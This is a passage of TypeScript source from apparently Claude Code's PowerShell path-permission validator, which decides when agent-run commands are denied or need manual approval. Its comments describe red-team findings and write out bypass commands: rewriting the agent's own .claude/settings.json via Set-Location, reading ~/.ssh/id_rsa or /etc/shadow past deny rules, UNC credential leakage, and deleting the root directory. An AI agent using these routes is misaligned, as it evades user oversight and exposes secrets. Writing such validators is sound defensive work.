FileOperationType, 1018): ResolvedPathCheckResult { 1019 // Remove surrounding quotes if present 1020 const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, '')) 1021 1022 // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all 1023 // platforms, but path.resolve on Linux/Mac treats them as literal characters. 1024 // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow 1025 // are correctly detected. 1026 const normalizedPath = cleanPath.replace(/\\/g, '/') 1027 1028 // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in 1029 // many positions (e.g., `/ === /) but defeats Node.js path checks like 1030 // isAbsolute(). Redirection targets use raw .Extent.Text which preserves 1031 // backtick escapes. Treat any path containing a backtick as unvalidatable. 1032 if (normalizedPath.includes('`')) { 1033 // Red-team P3: backtick is already resolved for StringConstant args 1034 // (parser uses .value); this guard primarily fires for redirection 1035 // targets which use raw .Extent.Text. Strip is a no-op for most special 1036 // escapes (`n → n) but that's fine — wrong guess → no deny match → 1037 // falls to ask. 1038 const backtickStripped = normalizedPath.replace(/`/g, '') 1039 const denyHit = checkDenyRuleForGuessedPath( 1040 backtickStripped, 1041 cwd, 1042 toolPermissionContext, 1043 operationType, 1044 ) 1045 if (denyHit) { 1046 return { 1047 allowed: false, 1048 resolvedPath: denyHit.resolvedPath, 1049 decisionReason: { type: 'rule', rule: denyHit.rule }, 1050 } 1051 } 1052 return { 1053 allowed: false, 1054 resolvedPath: normalizedPath, 1055 decisionReason: { 1056 type: 'other', 1057 reason: 1058 'Backtick escape characters in paths cannot be statically validated and require manual approval', 1059 }, 1060 } 1061 } 1062 1063 // SECURITY: Block module-qualified provider paths. PowerShell allows 1064 // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to 1065 // `/etc/passwd` via the FileSystem provider. The `::` is the provider 1066 // path separator and doesn't match the simple `^[a-z]{2,}:` regex. 1067 if (normalizedPath.includes('::')) { 1068 // Strip everything up to and including the first :: — handles both 1069 // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path. 1070 // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve 1071 // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask. 1072 // Safe. 1073 const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2) 1074 const denyHit = checkDenyRuleForGuessedPath( 1075 afterProvider, 1076 cwd, 1077 toolPermissionContext, 1078 operationType, 1079 ) 1080 if (denyHit) { 1081 return { 1082 allowed: false, 1083 resolvedPath: denyHit.resolvedPath, 1084 decisionReason: { type: 'rule', rule: denyHit.rule }, 1085 } 1086 } 1087 return { 1088 allowed: false, 1089 resolvedPath: normalizedPath, 1090 decisionReason: { 1091 type: 'other', 1092 reason: 1093 'Module-qualified provider paths (::) cannot be statically validated and require manual approval', 1094 }, 1095 } 1096 } 1097 1098 // SECURITY: Block UNC paths — they can trigger network requests and 1099 // leak NTLM/Kerberos credentials 1100 if ( 1101 normalizedPath.startsWith('//') || 1102 /DavWWWRoot/i.test(normalizedPath) || 1103 /@SSL@/i.test(normalizedPath) 1104 ) { 1105 return { 1106 allowed: false, 1107 resolvedPath: normalizedPath, 1108 decisionReason: { 1109 type: 'other', 1110 reason: 1111 'UNC paths are blocked because they can trigger network requests and credential leakage', 1112 }, 1113 } 1114 } 1115 1116 // SECURITY: Reject paths containing shell expansion syntax 1117 if (normalizedPath.includes('$') || normalizedPath.includes('%')) { 1118 return { 1119 allowed: false, 1120 resolvedPath: normalizedPath, 1121 decisionReason: { 1122 type: 'other', 1123 reason: 'Variable expansion syntax in paths requires manual approval', 1124 }, 1125 } 1126 } 1127 1128 // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.) 1129 // These paths access non-filesystem resources and must require manual approval. 1130 // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'. 1131 // 1132 // Platform split (findings #21/#28): 1133 // - Windows: require 2+ letters before ':' so native drive letters (C:, D:) 1134 // pass through to path.win32.isAbsolute/resolve which handle them correctly. 1135 // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive 1136 // paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc` 1137 // then `Get-Content Z:/secrets` would otherwise resolve via 1138 // path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd → 1139 // allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what 1140 // filesystem root a PSDrive maps to, so treat all drive-prefixed paths on 1141 // POSIX as unvalidatable. 1142 // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...` 1143 // creates drive `1:` — a valid PSDrive path prefix. 1144 // Windows regex requires 2+ chars to exclude single-letter native drive letters 1145 // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric 1146 // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+` 1147 // missed those since `a1` is neither pure letters nor pure digits. 1148 const providerPathRegex = 1149 getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i 1150 if (providerPathRegex.test(normalizedPath)) { 1151 return { 1152 allowed: false, 1153 resolvedPath: normalizedPath, 1154 decisionReason: { 1155 type: 'other', 1156 reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`, 1157 }, 1158 } 1159 } 1160 1161 // SECURITY: Block glob patterns in write/create operations 1162 if (GLOB_PATTERN_REGEX.test(normalizedPath)) { 1163 if (operationType === 'write' || operationType === 'create') { 1164 return { 1165 allowed: false, 1166 resolvedPath: normalizedPath, 1167 decisionReason: { 1168 type: 'other', 1169 reason: 1170 'Glob patterns are not allowed in write operations. Please specify an exact file path.', 1171 }, 1172 } 1173 } 1174 1175 // For read operations with path traversal (e.g., /project/*/../../../etc/shadow), 1176 // resolve the full path (including glob chars) and validate that resolved path. 1177 // This catches patterns that escape the working directory via `..` after the glob. 1178 if (containsPathTraversal(normalizedPath)) { 1179 const absolutePath = isAbsolute(normalizedPath) 1180 ? normalizedPath 1181 : resolve(cwd, normalizedPath) 1182 const { resolvedPath, isCanonical } = safeResolvePath( 1183 getFsImplementation(), 1184 absolutePath, 1185 ) 1186 const result = isPathAllowed( 1187 resolvedPath, 1188 toolPermissionContext, 1189 operationType, 1190 isCanonical ? [resolvedPath] : undefined, 1191 ) 1192 return { 1193 allowed: result.allowed, 1194 resolvedPath, 1195 decisionReason: result.decisionReason, 1196 } 1197 } 1198 1199 // SECURITY (finding #15): Glob patterns for read operations cannot be 1200 // statically validated. getGlobBaseDirectory returns the directory before 1201 // the first glob char; only that base is realpathed. Anything matched by 1202 // the glob (including symlinks) is never examined. Example: 1203 // /project/*/passwd with symlink /project/link → /etc 1204 // Base dir is /project (allowed), but runtime expands * to 'link' and 1205 // reads /etc/passwd. We cannot validate symlinks inside glob expansion 1206 // without actually expanding the glob (requires filesystem access and 1207 // still races with attacker creating symlinks post-validation). 1208 // 1209 // Still check deny rules on the base directory so explicit Read(/project/**) 1210 // deny rules fire. If no deny matches, force ask. 1211 const basePath = getGlobBaseDirectory(normalizedPath) 1212 const absoluteBasePath = isAbsolute(basePath) 1213 ? basePath 1214 : resolve(cwd, basePath) 1215 const { resolvedPath } = safeResolvePath( 1216 getFsImplementation(), 1217 absoluteBasePath, 1218 ) 1219 const permissionType = operationType === 'read' ? 'read' : 'edit' 1220 const denyRule = matchingRuleForInput( 1221 resolvedPath, 1222 toolPermissionContext, 1223 permissionType, 1224 'deny', 1225 ) 1226 if (denyRule !== null) { 1227 return { 1228 allowed: false, 1229 resolvedPath, 1230 decisionReason: { type: 'rule', rule: denyRule }, 1231 } 1232 } 1233 return { 1234 allowed: false, 1235 resolvedPath, 1236 decisionReason: { 1237 type: 'other', 1238 reason: 1239 'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.', 1240 }, 1241 } 1242 } 1243 1244 // Resolve path 1245 const absolutePath = isAbsolute(normalizedPath) 1246 ? normalizedPath 1247 : resolve(cwd, normalizedPath) 1248 const { resolvedPath, isCanonical } = safeResolvePath( 1249 getFsImplementation(), 1250 absolutePath, 1251 ) 1252 1253 const result = isPathAllowed( 1254 resolvedPath, 1255 toolPermissionContext, 1256 operationType, 1257 isCanonical ? [resolvedPath] : undefined, 1258 ) 1259 return { 1260 allowed: result.allowed, 1261 resolvedPath, 1262 decisionReason: result.decisionReason, 1263 } 1264} 1265 1266function getGlobBaseDirectory(filePath: string): string { 1267 const globMatch = filePath.match(GLOB_PATTERN_REGEX) 1268 if (!globMatch || globMatch.index === undefined) { 1269 return filePath 1270 } 1271 const beforeGlob = filePath.substring(0, globMatch.index) 1272 const lastSepIndex = Math.max( 1273 beforeGlob.lastIndexOf('/'), 1274 beforeGlob.lastIndexOf('\\'), 1275 ) 1276 if (lastSepIndex === -1) return '.' 1277 return beforeGlob.substring(0, lastSepIndex + 1) || '/' 1278} 1279 1280/** 1281 * Element types that are safe to extract as literal path strings. 1282 * 1283 * Only element types with statically-known string values are safe for path 1284 * extraction. Variable and ExpandableString have runtime-determined values — 1285 * even though they're defended downstream ($ detection in validatePath's 1286 * `includes('$')` check, and the hasExpandableStrings security flag), excluding 1287 * them here is defense-in-direct: fail-safe at the earliest gate rather than 1288 * relying on downstream checks to catch them. 1289 * 1290 * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression', 1291 * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated 1292 * and must force an ask. 1293 */ 1294const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter']) 1295 1296/** 1297 * Extract file paths from a parsed PowerShell command element. 1298 * Uses the AST args to find positional and named path parameters. 1299 * 1300 * If any path argument has a complex elementType (e.g., array literal, 1301 * subexpression) that cannot be statically validated, sets 1302 * hasUnvalidatablePathArg so the caller can force an ask. 1303 */ 1304function extractPathsFromCommand(cmd: ParsedCommandElement): { 1305 paths: string[] 1306 operationType: FileOperationType 1307 hasUnvalidatablePathArg: boolean 1308 optionalWrite: boolean 1309} { 1310 const canonical = resolveToCanonical(cmd.name) 1311 const config = CMDLET_PATH_CONFIG[canonical] 1312 1313 if (!config) { 1314 return { 1315 paths: [], 1316 operationType: 'read', 1317 hasUnvalidatablePathArg: false, 1318 optionalWrite: false, 1319 } 1320 } 1321 1322 // Build per-cmdlet known-param sets, merging in common parameters. 1323 const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES] 1324 const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS] 1325 1326 const paths: string[] = [] 1327 const args = cmd.args 1328 // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i] 1329 const elementTypes = cmd.elementTypes 1330 let hasUnvalidatablePathArg = false 1331 let positionalsSeen = 0 1332 const positionalSkip = config.positionalSkip ?? 0 1333 1334 function checkArgElementType(argIdx: number): void { 1335 if (!elementTypes) return 1336 const et = elementTypes[argIdx + 1] 1337 if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) { 1338 hasUnvalidatablePathArg = true 1339 } 1340 } 1341 1342 // Extract named parameter values (e.g., -Path "C:\foo") 1343 for (let i = 0; i < args.length; i++) { 1344 const arg = args[i] 1345 if (!arg) continue 1346 1347 // Check if this arg is a parameter name. 1348 // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer 1349 // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter 1350 // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The 1351 // parser maps CommandParameterAst → 'Parameter' regardless of dash char. 1352 // isPowerShellParameter also correctly rejects quoted "-Include" 1353 // (StringConstant, not a parameter). 1354 const argElementType = elementTypes ? elementTypes[i + 1] : undefined 1355 if (isPowerShellParameter(arg, argElementType)) { 1356 // Handle colon syntax: -Path:C:\secret 1357 // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`). 1358 const normalized = '-' + arg.slice(1) 1359 const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash) 1360 const paramName = 1361 colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized 1362 const paramLower = paramName.toLowerCase() 1363 1364 if (matchesParam(paramLower, config.pathParams)) { 1365 // Known path parameter — extract its value as a path. 1366 let value: string | undefined 1367 if (colonIdx > 0) { 1368 // Colon syntax: -Path:value — the whole thing is one element. 1369 // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd) 1370 // produce ArrayLiteralExpressionAst inside the CommandParameterAst. 1371 // PowerShell writes to ALL paths, but we see a single string. 1372 const rawValue = arg.substring(colonIdx + 1) 1373 if (hasComplexColonValue(rawValue)) { 1374 hasUnvalidatablePathArg = true 1375 } else { 1376 value = rawValue 1377 } 1378 } else { 1379 // Standard syntax: -Path value 1380 const nextVal = args[i + 1] 1381 const nextType = elementTypes ? elementTypes[i + 2] : undefined 1382 if (nextVal && !isPowerShellParameter(nextVal, nextType)) { 1383 value = nextVal 1384 checkArgElementType(i + 1) 1385 i++ // Skip the value 1386 } 1387 } 1388 if (value) { 1389 paths.push(value) 1390 } 1391 } else if ( 1392 config.leafOnlyPathParams && 1393 matchesParam(paramLower, config.leafOnlyPathParams) 1394 ) { 1395 // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves 1396 // this relative to ANOTHER parameter (-Path), not cwd. validatePath 1397 // resolves against cwd (L930), so non-leaf values (separators, 1398 // traversal) resolve to the WRONG location and can miss deny rules 1399 // (deny→ask downgrade). Extract simple leaf filenames; flag anything 1400 // path-like. 1401 let value: string | undefined 1402 if (colonIdx > 0) { 1403 const rawValue = arg.substring(colonIdx + 1) 1404 if (hasComplexColonValue(rawValue)) { 1405 hasUnvalidatablePathArg = true 1406 } else { 1407 value = rawValue 1408 } 1409 } else { 1410 const nextVal = args[i + 1] 1411 const nextType = elementTypes ? elementTypes[i + 2] : undefined 1412 if (nextVal && !isPowerShellParameter(nextVal, nextType)) { 1413 value = nextVal 1414 checkArgElementType(i + 1) 1415 i++ 1416 } 1417 } 1418 if (value !== undefined) { 1419 if ( 1420 value.includes('/') || 1421 value.includes('\\') || 1422 value === '.' || 1423 value === '..' 1424 ) { 1425 // Non-leaf: separators or traversal. Can't resolve correctly 1426 // without joining against -Path. Force ask. 1427 hasUnvalidatablePathArg = true 1428 } else { 1429 // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong — 1430 // should be <-Path>/leaf) but -Path extraction covers the 1431 // directory, and a leaf filename can't traverse out of anywhere. 1432 paths.push(value) 1433 } 1434 } 1435 } else if (matchesParam(paramLower, switchParams)) { 1436 // Known switch parameter — takes no value, do NOT consume next arg. 1437 // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained 1438 // in one token and correctly falls through here without consuming.) 1439 } else if (matchesParam(paramLower, valueParams)) { 1440 // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt). 1441 // Consume its value; do NOT validate as path, but DO check elementType. 1442 // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any 1443 // argument position means the runtime value is not statically knowable. 1444 // Without this check, `-Value $env:SECRET` would be silently auto-allowed 1445 // in acceptEdits mode because the Variable elementType was never examined. 1446 if (colonIdx > 0) { 1447 // Colon syntax: -Value:$env:FOO — the value is embedded in the token. 1448 // The outer CommandParameterAst 'Parameter' type masks the inner 1449 // expression type. Check for expression markers that indicate a 1450 // non-static value (mirrors pathParams colon-syntax guards). 1451 const rawValue = arg.substring(colonIdx + 1) 1452 if (hasComplexColonValue(rawValue)) { 1453 hasUnvalidatablePathArg = true 1454 } 1455 } else { 1456 const nextArg = args[i + 1] 1457 const nextArgType = elementTypes ? elementTypes[i + 2] : undefined 1458 if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) { 1459 checkArgElementType(i + 1) 1460 i++ // Skip the parameter's value 1461 } 1462 } 1463 } else { 1464 // Unknown parameter — we do not understand this invocation. 1465 // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS 1466 // whack-a-mole. Rather than guess whether this param is a switch 1467 // (and risk swallowing a positional path) or takes a value (and 1468 // risk the same), we flag the whole command as unvalidatable. 1469 // The caller will force an ask. 1470 hasUnvalidatablePathArg = true 1471 // SECURITY: Even though we don't recognize this param, if it uses 1472 // colon syntax (-UnknownParam:/etc/hosts) the bound value might be 1473 // a filesystem path. Extract it into paths[] so deny-rule matching 1474 // still runs. Without this, the value is trapped inside the single 1475 // token and paths=[] means deny rules are never consulted — 1476 // downgrading deny to ask. This is defense-in-depth: the primary 1477 // fix is adding all known aliases to pathParams above. 1478 if (colonIdx > 0) { 1479 const rawValue = arg.substring(colonIdx + 1) 1480 if (!hasComplexColonValue(rawValue)) { 1481 paths.push(rawValue) 1482 } 1483 } 1484 // Continue the loop so we still extract any recognizable paths 1485 // (useful for the ask message), but the flag ensures overall 'ask'. 1486 } 1487 continue 1488 } 1489 1490 // Positional arguments: extract as paths (e.g., Get-Content file.txt) 1491 // The first positional arg is typically the source path. 1492 // Skip leading positionals that are non-path values (e.g., iwr's -Uri). 1493 if (positionalsSeen < positionalSkip) { 1494 positionalsSeen++ 1495 continue 1496 } 1497 positionalsSeen++ 1498 checkArgElementType(i) 1499 paths.push(arg) 1500 } 1501 1502 return { 1503 paths, 1504 operationType: config.operationType, 1505 hasUnvalidatablePathArg, 1506 optionalWrite: config.optionalWrite ?? false, 1507 } 1508} 1509 1510/** 1511 * Checks path constraints for PowerShell commands. 1512 * Extracts file paths from the parsed AST and validates they are 1513 * within allowed directories. 1514 * 1515 * @param compoundCommandHasCd - Whether the full compound command contains a 1516 * cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive, 1517 * excluding no-op Set-Location-to-CWD). When true, relative paths in ANY 1518 * statement cannot be trusted — PowerShell executes statements sequentially 1519 * and a cd in statement N changes the cwd for statement N+1, but this 1520 * validator resolves all paths against the stale Node process cwd. 1521 * BashTool parity (BashTool/pathValidation.ts:630-655). 1522 * 1523 * @returns 1524 * - 'ask' if any path command tries to access outside allowed directories 1525 * - 'deny' if a deny rule explicitly blocks the path 1526 * - 'passthrough' if no path commands were found or all paths are valid 1527 */ 1528export function checkPathConstraints( 1529 input: { command: string }, 1530 parsed: ParsedPowerShellCommand, 1531 toolPermissionContext: ToolPermissionContext, 1532 compoundCommandHasCd = false, 1533): PermissionResult { 1534 if (!parsed.valid) { 1535 return { 1536 behavior: 'passthrough', 1537 message: 'Cannot validate paths for unparsed command', 1538 } 1539 } 1540 1541 // SECURITY: Two-pass approach — check ALL statements/paths so deny rules 1542 // always take precedence over ask. Without this, an ask on statement 1 1543 // could return before checking statement 2 for deny rules, letting the 1544 // user approve a command that includes a denied path. 1545 let firstAsk: PermissionResult | undefined 1546 1547 for (const statement of parsed.statements) { 1548 const result = checkPathConstraintsForStatement( 1549 statement, 1550 toolPermissionContext, 1551 compoundCommandHasCd, 1552 ) 1553 if (result.behavior === 'deny') { 1554 return result 1555 } 1556 if (result.behavior === 'ask' && !firstAsk) { 1557 firstAsk = result 1558 } 1559 } 1560 1561 return ( 1562 firstAsk ?? { 1563 behavior: 'passthrough', 1564 message: 'All path constraints validated successfully', 1565 } 1566 ) 1567} 1568 1569function checkPathConstraintsForStatement( 1570 statement: ParsedPowerShellCommand['statements'][number], 1571 toolPermissionContext: ToolPermissionContext, 1572 compoundCommandHasCd = false, 1573): PermissionResult { 1574 const cwd = getCwd() 1575 let firstAsk: PermissionResult | undefined 1576 1577 // SECURITY: BashTool parity — block path operations in compound commands 1578 // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655). 1579 // 1580 // When the compound contains Set-Location/Push-Location/Pop-Location/ 1581 // New-PSDrive, relative paths in later statements resolve against the 1582 // CHANGED cwd at runtime, but this validator resolves them against the 1583 // STALE getCwd() snapshot. Example attack (finding #3): 1584 // Set-Location ./.claude; Set-Content ./settings.json '...' 1585 // Validator sees ./settings.json → /project/settings.json (not a config file). 1586 // Runtime writes /project/.claude/settings.json (Claude's permission config). 1587 // 1588 // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain 1589 // — after `Set-Location ./.claude`, validate subsequent statements with 1590 // cwd='./.claude'. This would be more permissive but requires careful 1591 // handling of: 1592 // - Push-Location/Pop-Location stack semantics 1593 // - Set-Location with no args (→ home on some platforms) 1594 // - New-PSDrive root mapping (arbitrary filesystem root) 1595 // - Conditional/loop statements where cd may or may not execute 1596 // - Error cases where the cd target can't be statically determined 1597 // For now we take the conservative approach of requiring manual approval. 1598 // 1599 // Unlike BashTool which gates on `operationType !== 'read'`, we also block 1600 // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses 1601 // Read(~/.ssh/**) deny rules because the validator matched the deny against 1602 // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as 1603 // writes destroy it. We still run deny-rule matching below (via firstAsk, 1604 // not early return) so explicit deny rules on the stale-resolved path are 1605 // honored — deny > ask in the caller's reduce. 1606 if (compoundCommandHasCd) { 1607 firstAsk = { 1608 behavior: 'ask', 1609 message: 1610 'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval', 1611 decisionReason: { 1612 type: 'other', 1613 reason: 1614 'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass', 1615 }, 1616 } 1617 } 1618 1619 // SECURITY: Track whether this statement contains a non-CommandAst pipeline 1620 // element (string literal, variable, array expression). PowerShell pipes 1621 // these values to downstream cmdlets, often binding to -Path. Example: 1622 // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path, 1623 // but Remove-Item has no explicit args so extractPathsFromCommand returns 1624 // zero paths and the command would passthrough. If ANY downstream cmdlet 1625 // appears alongside an expression source, we force an ask — the piped 1626 // path is unvalidatable regardless of operation type (reads leak data; 1627 // writes destroy it). 1628 let hasExpressionPipelineSource = false 1629 // Track the non-CommandAst element's text for deny-rule guessing (finding #23). 1630 // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[] 1631 // from extractPathsFromCommand, so the deny loop below never iterates. We 1632 // feed the pipeline-source text through checkDenyRuleForGuessedPath so 1633 // explicit Edit(.git/**) deny rules still fire. 1634 let pipelineSourceText: string | undefined 1635 1636 for (const cmd of statement.commands) { 1637 if (cmd.elementType !== 'CommandAst') { 1638 hasExpressionPipelineSource = true 1639 pipelineSourceText = cmd.text 1640 continue 1641 } 1642 1643 const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = 1644 extractPathsFromCommand(cmd) 1645 1646 // SECURITY: Cmdlet receiving piped path from expression source. 1647 // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths 1648 // (no explicit args). The path comes from the pipeline, which we cannot 1649 // statically validate. Previously exempted reads (`operationType !== 'read'`), 1650 // but that was a bypass (review comment 2885739292): reads from 1651 // unvalidatable paths are still a security risk. Ask regardless of op type. 1652 if (hasExpressionPipelineSource) { 1653 const canonical = resolveToCanonical(cmd.name) 1654 // SECURITY (finding #23): Before falling back to ask, check if the 1655 // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' | 1656 // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured. 1657 // Strip surrounding quotes (string literals are quoted in .text) and 1658 // feed through the same deny-guess helper used for ::/backtick paths. 1659 if (pipelineSourceText !== undefined) { 1660 const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '') 1661 const denyHit = checkDenyRuleForGuessedPath( 1662 stripped, 1663 cwd, 1664 toolPermissionContext, 1665 operationType, 1666 ) 1667 if (denyHit) { 1668 return { 1669 behavior: 'deny', 1670 message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`, 1671 decisionReason: { type: 'rule', rule: denyHit.rule }, 1672 } 1673 } 1674 } 1675 firstAsk ??= { 1676 behavior: 'ask', 1677 message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`, 1678 } 1679 // Don't continue — fall through to path loop so deny rules on 1680 // extracted paths are still checked. 1681 } 1682 1683 // SECURITY: Array literals, subexpressions, and other complex 1684 // argument types cannot be statically validated. An array literal 1685 // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other' 1686 // element whose combined text may resolve within CWD while 1687 // PowerShell actually writes to ALL paths in the array. 1688 if (hasUnvalidatablePathArg) { 1689 const canonical = resolveToCanonical(cmd.name) 1690 firstAsk ??= { 1691 behavior: 'ask', 1692 message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`, 1693 } 1694 // Don't continue — fall through to path loop so deny rules on 1695 // extracted paths are still checked. 1696 } 1697 1698 // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths. 1699 // Either (a) the cmdlet has no args at all (`Remove-Item` alone — 1700 // PowerShell will error, but we shouldn't optimistically assume that), or 1701 // (b) we failed to recognize the path among the args (shouldn't happen 1702 // with the unknown-param fail-safe, but defense-in-depth). Conservative: 1703 // write operation with no validated target → ask. 1704 // Read cmdlets and pop-location (pathParams: []) are exempt. 1705 // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without 1706 // -OutFile) are ALSO exempt — they only write to disk when a pathParam is 1707 // present; without one, output goes to the pipeline. The 1708 // hasUnvalidatablePathArg check above already covers unknown-param cases. 1709 if ( 1710 operationType !== 'read' && 1711 !optionalWrite && 1712 paths.length === 0 && 1713 CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)] 1714 ) { 1715 const canonical = resolveToCanonical(cmd.name) 1716 firstAsk ??= { 1717 behavior: 'ask', 1718 message: `${canonical} is a write operation but no target path could be determined; requires manual approval`, 1719 } 1720 continue 1721 } 1722 1723 // SECURITY: bash-parity hard-deny for removal cmdlets on 1724 // system-critical paths. BashTool has isDangerousRemovalPath which 1725 // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config. 1726 // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical) 1727 // on a dangerous path → deny (not ask). User cannot approve system32 deletion. 1728 const isRemoval = resolveToCanonical(cmd.name) === 'remove-item' 1729 1730 for (const filePath of paths) { 1731 // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.). 1732 // Check the RAW path (pre-realpath) first: safeResolvePath can 1733 // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...' 1734 // (macOS) which defeats isDangerousRemovalPath's string comparisons. 1735 if (isRemoval && isDangerousRemovalRawPath(filePath)) { 1736 return dangerousRemovalDeny(filePath) 1737 } 1738 1739 const { allowed, resolvedPath, decisionReason } = validatePath( 1740 filePath, 1741 cwd, 1742 toolPermissionContext, 1743 operationType, 1744 ) 1745 1746 // Also check the resolved path — catches symlinks that resolve to a 1747 // protected location. 1748 if (isRemoval && isDangerousRemovalPath(resolvedPath)) { 1749 return dangerousRemovalDeny(resolvedPath) 1750 } 1751 1752 if (!allowed) { 1753 const canonical = resolveToCanonical(cmd.name) 1754 const workingDirs = Array.from( 1755 allWorkingDirectories(toolPermissionContext), 1756 ) 1757 const dirListStr = formatDirectoryList(workingDirs) 1758 1759 const message = 1760 decisionReason?.type === 'other' || 1761 decisionReason?.type === 'safetyCheck' 1762 ? decisionReason.reason 1763 : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.` 1764 1765 if (decisionReason?.type === 'rule') { 1766 return { 1767 behavior: 'deny', 1768 message, 1769 decisionReason, 1770 } 1771 } 1772 1773 const suggestions: PermissionUpdate[] = [] 1774 if (resolvedPath) { 1775 if (operationType === 'read') { 1776 const suggestion = createReadRuleSuggestion( 1777 getDirectoryForPath(resolvedPath), 1778 'session', 1779 ) 1780 if (suggestion) { 1781 suggestions.push(suggestion) 1782 } 1783 } else { 1784 suggestions.push({ 1785 type: 'addDirectories', 1786 directories: [getDirectoryForPath(resolvedPath)], 1787 destination: 'session', 1788 }) 1789 } 1790 } 1791 1792 if (operationType === 'write' || operationType === 'create') { 1793 suggestions.push({ 1794 type: 'setMode', 1795 mode: 'acceptEdits', 1796 destination: 'session', 1797 }) 1798 } 1799 1800 firstAsk ??= { 1801 behavior: 'ask', 1802 message, 1803 blockedPath: resolvedPath, 1804 decisionReason, 1805 suggestions, 1806 } 1807 } 1808 } 1809 } 1810 1811 // Also check nested commands from control flow 1812 if (statement.nestedCommands) { 1813 for (const cmd of statement.nestedCommands) { 1814 const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = 1815 extractPathsFromCommand(cmd) 1816 1817 if (hasUnvalidatablePathArg) { 1818 const canonical = resolveToCanonical(cmd.name) 1819 firstAsk ??= { 1820 behavior: 'ask', 1821 message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`, 1822 } 1823 // Don't continue — fall through to path loop for deny checks. 1824 } 1825 1826 // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop). 1827 // optionalWrite cmdlets exempt — see main-loop comment. 1828 if ( 1829 operationType !== 'read' && 1830 !optionalWrite && 1831 paths.length === 0 && 1832 CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)] 1833 ) { 1834 const canonical = resolveToCanonical(cmd.name) 1835 firstAsk ??= { 1836 behavior: 'ask', 1837 message: `${canonical} is a write operation but no target path could be determined; requires manual approval`, 1838 } 1839 continue 1840 } 1841 1842 // SECURITY: bash-parity hard-deny for removal on system-critical 1843 // paths — mirror the main-loop check above. Without this, 1844 // `if ($true) { Remove-Item / }` routes through nestedCommands and 1845 // downgrades deny→ask, letting the user approve root deletion. 1846 const isRemoval = resolveToCanonical(cmd.name) === 'remove-item' 1847 1848 for (const filePath of paths) { 1849 // Check the RAW path first (pre-realpath); see main-loop comment. 1850 if (isRemoval && isDangerousRemovalRawPath(filePath)) { 1851 return 